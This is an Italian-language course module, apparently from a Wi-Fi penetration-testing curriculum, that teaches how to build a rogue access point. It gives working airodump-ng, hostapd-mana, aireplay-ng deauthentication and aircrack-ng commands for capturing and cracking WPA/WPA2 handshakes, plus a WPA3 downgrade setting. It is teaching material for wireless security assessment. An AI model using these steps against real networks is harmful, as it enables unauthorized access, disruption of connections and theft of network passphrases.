9. Rogue Access Points
Esistono definizioni contrastanti di rogue access point, ma per gli scopi di questo corso li descriveremo in termini generali come un AP in uso che non è stato autorizzato da un amministratore di rete locale. Questo può assumere la forma di un AP collegato a una rete a insaputa dell'amministratore. Può anche assumere la forma di un AP controllato in modo malevolo che imita un AP esistente e approvato.
In questo modulo ci concentreremo su quest'ultimo caso. Creeremo un rogue AP e cercheremo dispositivi che tentano di connettersi a un AP legittimo con lo stesso nome. In questo scenario di attacco, il nostro rogue AP si trova vicino sia al dispositivo sia all'AP legittimo. Idealmente, il dispositivo che stiamo prendendo di mira è abbastanza lontano dall'AP previsto da poter rendere più probabile la connessione al nostro rogue AP. Useremo questo attacco per catturare le WPA pre-shared key.
9.1. Le basi dei Rogue AP
Quando un client si connette a una rete wireless, il dispositivo salva la rete in un elenco chiamato Preferred Network List (PNL). Una PNL consente ai dispositivi di riconnettersi a una rete familiare quando viene rilevata di nuovo. Per consentire ai dispositivi di connettersi a Internet da più posizioni in un grande edificio, ad esempio, le grandi reti wireless avranno tipicamente più AP che pubblicizzano lo stesso ESSID.
Per illustrarlo, immaginiamo un ufficio con due AP e un dispositivo, connesso alla rete e in movimento da un'estremità all'altra dell'ufficio. Quando un dispositivo esce dal raggio di un AP, perde la connessione. Se il dispositivo tenta poi di riconnettersi ed è più vicino al secondo AP, riconoscerà un ESSID familiare e si connetterà al secondo AP.
Figura 1: Illustrazione di Rogue Access Point
In questo modulo, sfrutteremo questo comportamento pubblicizzando lo stesso ESSID di un AP esistente. Se il nostro rogue AP trasmette un segnale forte per il client, il client potrebbe tentare di connettersi a noi invece che all'AP esistente. Anche se potremmo non avere la stessa pre-shared key (PSK) dell'AP che il client si aspettava, saremo in grado di catturare i primi due messaggi del 4-way handshake. Questo dovrebbe fornirci la giusta quantità di informazioni per crackare la PSK.
C'è un ulteriore livello di complessità in questo approccio. I dispositivi sono sempre più sofisticati nel decidere a quali reti connettersi e possono salvare i dettagli di crittografia nella PNL quando la rete viene salvata. Ciò significa che, per un attacco riuscito, il nostro rogue AP dovrà corrispondere ai dettagli di crittografia del target.
Con alcune delle basi chiarite, iniziamo a scoprire le informazioni necessarie sul nostro target.
9.2. Discovery
Sebbene alcuni client si connetteranno al nostro rogue AP solo in base al fatto che l'SSID sia uguale a quello del target, il nostro attacco ha maggiori probabilità di successo se corrispondiamo anche ai dettagli di crittografia. Per farlo, dobbiamo condurre ricognizione contro il target per raccogliere informazioni.
Useremo airodump-ng per raccogliere informazioni sul nostro target. Con la nostra interfaccia wireless in monitor mode, configureremo airodump-ng per scrivere le informazioni catturate in un file usando -w per impostare il prefisso del file di dump e --output-format per impostare il formato di output come file Pcap.
kali@kali:~$ sudo airodump-ng -w discovery --output-format pcap wlan0mon
CH 12 ][ Elapsed: 0 s ][ 2020-08-14 16:23
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
CD:C2:25:9A:47:BA -45 3 2 0 6 195 WPA2 CCMP MGT Sarajevo
94:36:45:CA:71:61 -46 3 4 0 6 195 WPA2 CCMP PSK Zagreb
FC:7A:2B:88:63:EF -53 5 0 0 1 130 WPA2 CCMP PSK Mostar
1E:E1:3E:95:52:7D -87 2 0 0 11 130 OPN Budva
85:28:13:AE:50:5C -91 3 0 0 11 130 WPA2 CCMP PSK Beograd
BSSID STATION PWR Rate Lost Frames Notes Probes
94:36:45:CA:71:61 E6:D9:90:B0:B2:4C -54 0 - 0e 0 2
94:36:45:CA:71:61 05:E3:5B:E6:D9:A4 -73 0e-54 0 2
85:28:13:AE:50:5C E6:DE:B9:2A:56:83 -91 0 - 5e 487 6
CD:C2:25:9A:47:BA 98:D5:95:6D:25:77 -37 0 - 1e 0 2
(not associated) A7:AD:4A:2B:5E:ED -54 0 - 1 3 9 Yugoslavia
FC:7A:2B:88:63:EF FE:5C:F4:2B:D4:3E -48 0 - 6 0 1
Listato 1 - Discovery tramite airodump-ng
Il file di output verrà salvato come discovery-01.cap.
Prenderemo di mira l'AP con SSID "Mostar". L'output di airodump-ng ci mostra che Mostar è una rete WPA2-PSK con CCMP. L'output ci dice anche che Mostar opera a 130 Mbit. Infine, notiamo che Mostar opera sul canale 1.
Nota che stiamo usando una scheda 2.4 GHz per scoprire queste informazioni.
Sulla base di queste informazioni, possiamo dedurre che la rete Mostar è molto probabilmente 802.11n. Quando creeremo il nostro rogue AP, dovremmo corrispondere il più possibile a queste impostazioni per assicurarci che i client si connettano automaticamente al nostro rogue AP in base alla loro Preferred Network List.
Non dovremmo fidarci esclusivamente dell'output di airodump-ng, poiché mostra solo la crittografia massima possibile. Se la rete target Mostar supporta anche WPA1, questa informazione non verrà visualizzata nella tabella.
Per ottenere più informazioni, apriamo il Pcap di output in Wireshark eseguendo wireshark discovery-01.cap.
Per trovare il beacon dell'AP target, possiamo usare un filtro per limitare i tipi di pacchetti visualizzati. Prima, possiamo visualizzare solo i pacchetti beacon usando il filtro wlan.fc.type_subtype == 0x08. I frame di gestione usano "0" come type e i frame beacon sono impostati su "8" come subtype. Possiamo anche mirare solo all'SSID Mostar aggiungendo && e usando il filtro wlan.ssid == "Mostar".
Figura 2: Filtraggio e visualizzazione della configurazione di sicurezza
Quando selezioniamo il frame, notiamo le informazioni dettagliate sul beacon nella sezione sotto l'elenco dei frame.
Espandendo l'albero Tagged Parameters sotto l'albero IEEEE 802.11 Wireless Management, possiamo esaminare gli alberi RSN Information e Vendor Specific: Microsoft Corp.: WPA Information Element. Quest'ultima sezione ci dice che questo AP supporta WPA1, e l'esistenza di RSN Information ci dice che supporta anche WPA2.
Espandendo questi alberi si vede anche che Mostar è configurato con TKIP per Multicast e sia TKIP sia CCMP per Unicast/Pairwise, come si può determinare dall'esistenza dei parametri TKIP e AES (CCM). Inoltre, possiamo confermare che la rete Mostar autentica effettivamente con una PSK in base alla configurazione Auth Key Management.
Vogliamo anche prendere nota di altre opzioni a nostra disposizione. Ad esempio, potremmo anche creare il nostro rogue AP basandoci sulle probe dei client. Il Listato 1 mostra che un client sta facendo probe per un SSID chiamato "Yugoslavia". I dettagli di crittografia, forniti solo a volte, possono essere ottenuti anche con Wireshark.
In questo caso, dovremmo cercare le probe request invece dei beacon. Se non è specificata alcuna crittografia, potremmo comunque riuscire a prendere di mira il client creando un AP con sia WPA1 sia WPA2, ciascuno con TKIP e CCMP.
Per ora, continueremo a concentrarci sull'AP Mostar.
A questo punto conosciamo quanto segue sul nostro AP target:
- Ha un ESSID di Mostar
- Ha un BSSID di FC:7A:2B:88:63:EF
- Usa WPA (TKIP/CCMP) e WPA2 (TKIP/CCMP)
- Usa una PSK
- Opera sul canale 1
Con le informazioni in mano, passiamo alla creazione del rogue AP e alla cattura degli handshake WPA2.
Esercizi
- Configura un AP e un dispositivo come target.
- Usa airodump-ng per condurre ricognizione e scoprire le informazioni necessarie sul target. Conferma la configurazione in Wireshark.
9.3. Creazione di un Rogue AP
Useremo hostapd-mana[^rap_hostapd-mana] per creare un rogue AP. Questo programma si basa su una versione modificata di hostapd, un daemon per creare AP usando adattatori di rete Wi-Fi. Oltre a creare AP, potremmo anche usare hostapd-mana per eseguire un MANA attack.
Non eseguiremo specificamente un MANA attack in questo modulo, ma hostapd-mana sarà comunque utile perché fornisce un metodo particolarmente stabile per creare un AP e catturare handshake.
Possiamo installare hostapd-mana eseguendo sudo apt install hostapd-mana.
Per eseguire hostapd-mana, dovremo creare un file di configurazione. Questo file istruirà hostapd-mana su come configurare l'AP e dove salvare l'handshake catturato.
9.3.1. Creazione della configurazione hostapd-mana
Il file di configurazione per hostapd-mana ha molti parametri configurabili, ma non ne avremo bisogno della maggior parte in questo modulo. Gli sviluppatori hanno fornito un file di esempio hostap.conf. Potremmo esaminarlo e scoprire quali elementi di configurazione dobbiamo impostare.
Il Listato 2 è un esempio di un semplice file di configurazione funzionante per hostapd-mana.
Listato 2 - La configurazione più semplice per hostapd-mana
Il parametro interface configurerà hostapd-mana per usare l'interfaccia wlan0. Successivamente, l'SSID è impostato su "Mostar" con il parametro ssid. Infine, impostiamo il canale su "1" per corrispondere all'access point target.
Continuiamo la configurazione per corrispondere più da vicino alle impostazioni dell'AP esistente e aumentare la probabilità di un attacco riuscito.
Per impostazione predefinita, hostapd-mana opererà in 802.11b. Per soddisfare le impostazioni del nostro target, dobbiamo cambiarlo in IEEE 802.11n. Per farlo, impostiamo il parametro ieee80211n su "1" per abilitare 802.11n. Poi dobbiamo specificare la banda a 2.4 GHz impostando il parametro hw_mode sulla lettera "g". Se la rete operasse su 5 GHz, imposteremmo hw_mode su "a".
kali@kali:~$ cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
Listato 3 - Aggiunta di hw_mode al file di configurazione
Successivamente, possiamo passare alle impostazioni di crittografia e autenticazione. Sarà importante configurarle in modo da imitare l'AP target. Prima, imposteremo il parametro wpa sull'intero "3" per abilitare sia WPA sia WPA2 (impostare questo parametro su "1" abilita solo WPA e impostarlo su "2" abilita solo WPA2).
Dobbiamo impostare l'autenticazione su PSK e impostare anche la chiave. Possiamo abilitare l'autenticazione PSK impostando il parametro wpa_key_mgmt su "WPA-PSK". Per impostare la chiave, useremo il parametro wpa_passphrase. Il valore che impostiamo per wpa_passphrase è irrilevante, poiché stiamo solo tentando di catturare un handshake.
Poi, per abilitare la crittografia TKIP/CCMP con WPA1, impostiamo wpa_pairwise su "TKIP CCMP". Infine, impostiamo anche rsn_pairwise su "TKIP CCMP" per abilitare TKIP/CCMP con crittografia WPA2. Se il target usasse esclusivamente WPA o WPA2, imposteremmo solo wpa_pairwise o rsn_pairwise. La cipher suite per il traffico multicast è impostata automaticamente da hostapd-mana e non dobbiamo apportare modifiche alla configurazione. La configurazione aggiornata è nel Listato 4.
kali@kali:~$ cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_passphrase=ANYPASSWORD
wpa_pairwise=TKIP CCMP
rsn_pairwise=TKIP CCMP
Listato 4 - Aggiunta della configurazione di sicurezza
Infine, dobbiamo configurare la parte "mana" di hostapd-mana. L'unica configurazione di cui dobbiamo preoccuparci è mana_wpaout, che specificherà dove salvare gli handshake catturati (in formato Hashcat hccapx). Ogni handshake catturato verrà aggiunto a questo file. Salveremo gli handshake catturati nel file denominato /home/kali/mostar.hccapx.
kali@kali:~$ cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_passphrase=ANYPASSWORD
wpa_pairwise=TKIP CCMP
rsn_pairwise=TKIP CCMP
mana_wpaout=/home/kali/mostar.hccapx
Listato 5 - Mostar-mana.conf finale
Il Listato 5 sarà la configurazione finale che useremo nel nostro attacco.
Warning
Al momento della scrittura di questo modulo, non è possibile crackare WPA3. Tuttavia, quando incontriamo AP con WPA3, potremmo essere in grado di ingannare i client facendoli retrocedere a una connessione WPA2, permettendoci di catturare un handshake crackabile. Possiamo farlo creando un AP con solo WPA2 e 802.11w impostato su "optional". WPA3 usa gli stessi algoritmi di WPA2 CCMP e richiede 802.11w. Se 802.11w è disabilitato, un client potrebbe non tentare mai di connettersi, ma i client WPA2 lo usano raramente (e a volte non lo gestiscono bene). La combinazione di usare solo WPA2 e 802.11w impostato su "optional" ci darà la maggiore probabilità che un client sia disposto a retrocedere. Per ottenere questo nella configurazione hostapd, il valore wpa dovrebbe essere impostato su "2", non dovrebbe esserci un parametro wpa_pairwise, e rsn_pairwise dovrebbe essere impostato solo su "CCMP". Per abilitare 802.11w, imposteremmo ieee80211w come nuovo parametro con valore "1" (indicando che è opzionale). Questo richiede anche di aggiungere "WPA-PSK-SHA256" a wpa_key_mgmt.
Con il file di configurazione completo, è il momento di avviare hostapd-mana e catturare alcuni handshake.
9.3.2. Cattura degli handshake
Per avviare hostapd-mana, useremo il comando hostapd-mana e forniremo il file Mostar-mana.conf come argomento. Questo avvierà hostapd-mana usando la configurazione impostata in precedenza.
kali@kali:~$ sudo hostapd-mana Mostar-mana.conf
Configuration file: Mostar-mana.conf
MANA: Captured WPA/2 handshakes will be written to file 'mostar.hccapx'.
Using interface wlan0 with hwaddr 2e:0b:05:98:f8:66 and ssid "Mostar"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
Listato 6 - Esecuzione di hostapd-mana
Alcuni dispositivi scopriranno automaticamente il nuovo AP e, se il segnale del nostro rogue AP è più forte del target, il dispositivo tenterà di connettersi. Sebbene il dispositivo alla fine non riuscirà a connettersi (poiché la nostra PSK configurata è errata), possiamo comunque vedere i tentativi di connessione perché hostapd-mana registrerà che un handshake WPA1/WPA2 è stato catturato.
kali@kali:~$ sudo hostapd-mana Mostar-mana.conf
Configuration file: Mostar-mana.conf
MANA: Captured WPA/2 handshakes will be written to file 'mostar.hccapx'.
Using interface wlan0 with hwaddr 2e:0b:05:98:f8:66 and ssid "Mostar"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
Listato 7 - Cattura degli handshake
Poiché la connessione fallirà (a causa del mismatch della PSK), i client potrebbero tentare di connettersi più volte. Tuttavia, guardando il Listato 7, siamo riusciti a catturare un handshake. Eccellente!
Potremmo non essere sempre così fortunati. Alcuni dispositivi potrebbero mantenere una connessione debole all'AP target. In queste situazioni, possiamo "spingere" i client ostinati nella direzione giusta deautenticando tutti i client dall'AP target. Per farlo, useremmo un'altra interfaccia wireless e useremmo aireplay-ng per inviare messaggi di deautenticazione.
Per deautenticare i client, colleghiamo prima una nuova scheda wireless e avviamo la monitor mode sul canale 1 usando airmon-ng. Il canale dovrebbe essere impostato su "1" per corrispondere a quello del nostro AP target. Tutto questo si ottiene eseguendo sudo airmon-ng start wlan1 1. Poi, possiamo usare aireplay-ng per eseguire un attacco di deautenticazione (-0), in modo continuo (0), contro tutti i client connessi al nostro AP target (-a FC:7A:2B:88:63:EF).
kali@kali:~$ sudo aireplay-ng -0 0 -a FC:7A:2B:88:63:EF wlan1mon
15:42:14 Waiting for beacon frame (BSSID: FC:7A:2B:88:63:EF) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
15:42:14 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:15 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:15 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:16 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:16 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:17 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:17 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:18 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:18 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
15:42:19 Sending DeAuth (code 7) to broadcast -- BSSID: [FC:7A:2B:88:63:EF]
...
Listato 8 - Deautenticazione dei client
A questo punto, i client connessi all'AP target dovrebbero iniziare a disconnettersi e cercare un nuovo AP. Se i client scoprono che il nostro rogue AP ha un segnale più forte, tenteranno di connettersi e cattureremo l'handshake WPA.
kali@kali:~$ sudo hostapd-mana Mostar-mana.conf
Configuration file: Mostar-mana.conf
MANA: Captured WPA/2 handshakes will be written to file 'mostar.hccapx'.
Using interface wlan0 with hwaddr 2e:0b:05:98:f8:66 and ssid "Mostar"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
...
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: fe:5c:f4:2b:d4:3e
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH fe:5c:f4:2b:d4:3e
MANA: Captured a WPA/2 handshake from: 9e:07:ec:32:12:94
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH 9e:07:ec:32:12:94
MANA: Captured a WPA/2 handshake from: 9e:07:ec:32:12:94
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH 9e:07:ec:32:12:94
MANA: Captured a WPA/2 handshake from: 9e:07:ec:32:12:94
wlan0: AP-STA-POSSIBLE-PSK-MISMATCH 9e:07:ec:32:12:94
MANA: Captured a WPA/2 handshake from: 9e:07:ec:32:12:94
...
Listato 9 - Cattura degli handshake dai client deautenticati
Gli handshake catturati vengono scritti in un file hccapx. Questo formato è pensato principalmente per essere usato con Hashcat, ma possiamo crackarlo anche con aircrack-ng.
kali@kali:~$ aircrack-ng mostar.hccapx -e Mostar -w /usr/share/john/password.lst
Reading packets, please wait...
Opening mostar123.hccapx
Read 4 packets.
Reading packets, please wait...
Opening mostar123.hccapx
Read 4 packets.
1 potential targets
Aircrack-ng 1.6
[00:00:01] 3371/3559 keys tested (2896.90 k/s)
Time left: 0 seconds 94.72%
KEY FOUND! [ teddybear ]
Master Key : 38 F7 5F 1A 46 C6 03 68 D0 99 78 4B F2 72 60 9C
6E 07 3E 08 85 44 4A 6A 84 CF 01 C7 DB CA 4D A4
Transient Key : B9 FF D5 7A 0E 2E 0C 97 34 46 9A AF 19 C3 30 91
81 C1 86 E4 75 00 E8 DB 10 E7 B4 A4 6B A7 E9 CC
CC 3E 54 B4 0A 42 A0 93 78 2D 11 91 93 73 08 E7
2F 1F 58 15 9E 92 88 2A 30 B7 13 BA AC 22 17 53
EAPOL HMAC : 52 C7 4B 5D A5 E4 4B C2 D8 87 08 7A 5E E7 57 49
Listato 10 - Crack dell'hash WPA/2
Eseguendo questo, siamo riusciti a crackare l'handshake e ottenere la PSK (teddybear)!
Esercizi
- Genera un file di configurazione hostapd-mana che possa prendere di mira un AP sotto il tuo controllo.
- Usa hostapd-mana per avviare l'AP e catturare un handshake da un client già connesso all'access point target.
- Cracka la PSK dell'AP target.
9.4. Conclusione
I Rogue AP possono essere estremamente utili durante le valutazioni Wi-Fi per catturare handshake o per prendere di mira client lontani dal loro AP. In questo modulo, abbiamo visto come usare un rogue AP per imitare un AP target. Quando i client hanno tentato di connettersi al nostro AP, siamo riusciti a catturare abbastanza dell'handshake WPA per crackarlo con aircrack-ng.

